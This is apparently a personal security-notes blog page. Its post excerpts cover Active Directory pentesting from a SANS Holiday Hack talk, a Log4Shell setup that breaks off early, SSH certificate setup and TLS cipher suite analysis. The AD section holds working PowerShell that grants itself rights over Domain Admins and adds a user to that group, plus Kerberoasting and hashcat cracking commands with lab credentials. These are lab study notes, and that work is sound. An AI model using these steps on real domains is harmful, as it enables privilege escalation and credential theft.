Skip to content

Notes

  • 8 min read
Draft

Kerberoasting & Other AD Pentesting Processes

kerberoasting

This is essentially just notes taken as a result of listening to informative SANS Holiday Hack Challenge 2021 speaker, Chris Davis on Active Directory Penetration Testing and then venturing down the rabbit hole to learn more. The video is a great introduction, but these notes also include take-aways from some of other videos Chris mentioned, including one by Tim Medin that's linked below in "Kerberoasting Tools." All very informative info.

Tools

Bloodhound

Bloodhound Intro How-To video by Conda
Sharphound (PowerShell)
Sharphound (C#)

Kerberoasting Tools

Kerberoasting Talk by Tim Medin
C# Kerberoasting Tool Rubeus
Invoke-Kerberoast (PowerShell)
GetUserSPNs.py by impacket (Python)

Hashcat

Hashcat

PowerView/PowerSploit

PowerView
PowerSploit

Custom Code Snippets from Chris

Code Snippets
You can read the DACL of an AD group object using: 

# Can Use Powerview: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
# Or:
$ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
# Or:
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$domainDirEntry.get_ObjectSecurity().Access
In the below example, the "GenericAll" permission for the "chrisd" user to the "Domain Admins" group if the user your running it under has the "WriteDACL" permission on the "Domain Admins" group. 
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("vulns.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
After giving "GenericAll" permissions over the "Domain Admins" group, the below snippet would add the chrisjd account to the "Domain Admins" group: 
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$password = "Password!@12"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("vulns.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Added bonus, here is how you can Enter-PSSession into a remote computer: 
$password = ConvertTo-SecureString "Password!@12" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("vulns.local\chrisd", $password)
Enter-PSSession -ComputerName WIN-4JFNT305Q5J.vulns.local -Credential $creds -Authentication Negotiate

Additional Commands Used During Talk 

Invoke-BloodHound -CollectionMethod All

py -3 GetUserSPNs.py -outputfile spns.txt -dc-ip 10.128.96.101 vulns.local/chrisd:'Password!@12' -request 

.\hashcat.exe -m 13100 -a 0 .\spns.txt --potfile-disable -r .\rules\best64.rule --force -O -w 4 --opencl-device-types 1,2 .\rockyou.txt

runas /noprofile /user:vulns_svc@vulns.local cmd

echo $env:LOGONSERVER
echo %LOGONSERVER%

net view \\WIN-4JFNT305Q5J

runas /noprofile /user:remote_employee@vulns.local cmd

Additional Resources

Sean Metcalf https://adsecurity.org/p?=2293 https://adsecurity.org/p?=2011

  • 2 min read

Log4Shell

Log4j

Background

The Log4j vulnerability is a critical security flaw that gained widespread attention in December 2021. The exploitation of the vulnerability is often called Log4Shell as it is used to gain shell access. Log4j is a logging framework that developers use to record activity within their applications. It's part of the Apache Logging Services and the library is known for its performance and flexibility, offering various logging capabilities that have become essential in software development.

The exploit takes advantage of the way Log4j processes log messages by misusing the library's Java Naming and Directory Interface (JNDI) feature. JNDI is an API in Java that allows Java software clients to look up data and resources (such as objects) via a name. The exploit occurs when a maliciously crafted log message triggers a JNDI lookup to an attacker-controlled server, leading to the execution of arbitrary code.

Process

There are a great many applications that rely on Log4j, but one of the most notable is Apache. Once you have identified a service that is vulnerabile, you can set up testing. Testing means getting an ldap server running to handle deserialization of the exploit which you can do through the referenced repo's .jar file. You then set up an http server on the attacker host as a means of delivering the exploit. You'll also have a netcat listener set up to receive the callback once the JNDI logging executes the exploit.

What does that actually look like?

  1. First grab tools. 

    git clone https://github.com/mbechler/marshalsec

    cd marshalsec && ls
  • 8 min read

Setting Up SSH Certificates

This year, I completed SANS Institute and Counter Hack's Holiday Hack Challenge. One of the speakers, Thomas Bouve, provided an excellent talk about SSH Certificates. Below are my step-by-step notes that I documented as a reference. I strongly encourage anyone interested in the topic to listen to the presentation as Thomas provides more foundational knowledge in the beginning of the video and provides more context and explanations than what I am providing here. But if you're looking for a quick copy/paste/edit of commands to get the job done, this might be a helpful reference.

secure

Notes & Assumptions
  • In the example, 10.10.10.10 is the address of the server where we want to be able to SSH with a signed certificate.
  • The username, jesinia will be used to SSH into the server.
  • It is assumed that the server is rootless and that jesinia has sudo permissions on the server. If you have root access, then feel free to ignore the "sudo" references.
  • Commands for restarting ssh service are for Fedora or RedHat distributions. If you use a different flavor of Linux, your commands may be different for that portion.
  • I use vim, but you can use whichever text editor you prefer.
  • Notes and level of detail is purposely for a broader audience with less experience.

1. Log into Server Using Password

In Server Terminal:
ssh jesinia@10.10.10.10
What is happening here?

This command is simply logging in and if there is a password required, you will be prompted to enter it.

  • 2 min read
Draft

Introduction

TLS Handshake Analysis

This entry assumes some understanding of Wireshark and basic networking and protocol knowledge.

What is a Cipher Suite?

A cipher suite in the TLS handshake is a suite of protocols that are grouped together; each protocol used for a different aspect of the process. Below is a screenshot the how the Cipher Suites are listed within the Client Hello packet. For context, the Client Hello packet is when the client is providing the server with a menu of options from which the server can select so they can communicate with each other.

ciphersuites

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
  1. Key Exchange: ECDHE (Elliptic Curve Diffie-Hellman Ephemeral)
  2. Authentication: RSA (Rivest–Shamir–Adleman)
  3. Encryption: AES-256-GCM (Advanced Encryption Standard with 256-bit keys in Galois/Counter Mode)
  4. Hashing: SHA-384 (Secure Hash Algorithm with 384-bit output)

This cipher suite uses a strong elliptic curve key exchange and RSA for authentication, providing both security and performance. The AES-256 encryption ensures confidentiality, while the SHA-384 hash maintains integrity.

TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256
  • Key Exchange: DHE (Diffie-Hellman Ephemeral)
  • Authentication: RSA
  • Encryption: ChaCha20-Poly1305
  • Hashing: SHA-256

This suite uses DHE for key exchange, which supports perfect forward secrecy. ChaCha20-Poly1305 is an alternative to AES and is highly efficient, even on low-power devices, making this suite suitable for performance-sensitive environments.

Cipher Suite Security Red Flags

Cipher suites that do not provide forward secrecy (FS) generally rely on the RSA key exchange method. These cipher suites expose session keys if the server’s private key is compromised, allowing attackers to decrypt past communications. Here’s a list of common non-FS cipher suites, typically using RSA key exchange.

Common Cipher Suites Without Forward Secrecy

  1. TLS_RSA_WITH_RC4_128_MD5 (0x0004)
  2. TLS_RSA_WITH_RC4_128_SHA (0x0005)
  3. TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
  4. TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
  5. TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
  6. TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
  7. TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
  8. TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
  9. TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
  10. TLS_RSA_WITH_SEED_CBC_SHA (0x0096)
  11. TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
  12. TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
  13. TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 (0x00ba)
  14. TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 (0x00c0)

How to Identify Non-FS Cipher Suites

  1. RSA Key Exchange:

  2. Cipher suites that start with TLS_RSA_ use RSA for key exchange, meaning they do not offer forward secrecy.

  3. Lack of DHE/ECDHE:

  4. Suites that use DHE (Diffie-Hellman Ephemeral) or ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) provide forward secrecy. If these are missing, the suite lacks FS.

Impact

  • Lack of forward secrecy means that if an attacker gains access to the server's private key, they can decrypt past and future communications.
  • These cipher suites are generally deprecated and considered insecure by today’s standards. Most modern browsers and servers have phased them out in favor of forward-secrecy-enabled suites (like ECDHE-based suites).

If you're analyzing network traffic, filtering for these RSA-based suites can help identify sessions without forward secrecy that are more vulnerable to decryption if the private key is compromised.